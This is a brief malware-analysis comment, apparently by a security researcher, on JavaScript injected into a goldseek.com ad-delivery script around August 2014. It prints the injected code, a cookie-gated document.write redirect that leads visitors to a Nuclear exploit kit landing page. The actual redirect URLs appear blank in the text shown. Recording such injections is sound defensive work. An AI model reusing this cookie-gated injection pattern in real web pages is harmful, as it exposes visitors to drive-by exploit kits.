// These redirects started appearing around 2014-08-27 // Webpage at http://advertising.goldseek.com/www/delivery/spcjs.php?id=1&block=1&target=_top has injected JS at the very top of the page document.write(''); // This request pulls down the following code if (document.cookie.indexOf("jessica") == -1) { document.write(""); document.cookie = "jessica=readed; max-age=28000; path=/"; } else {} // and this code in turn brings you to Nuclear EK landing page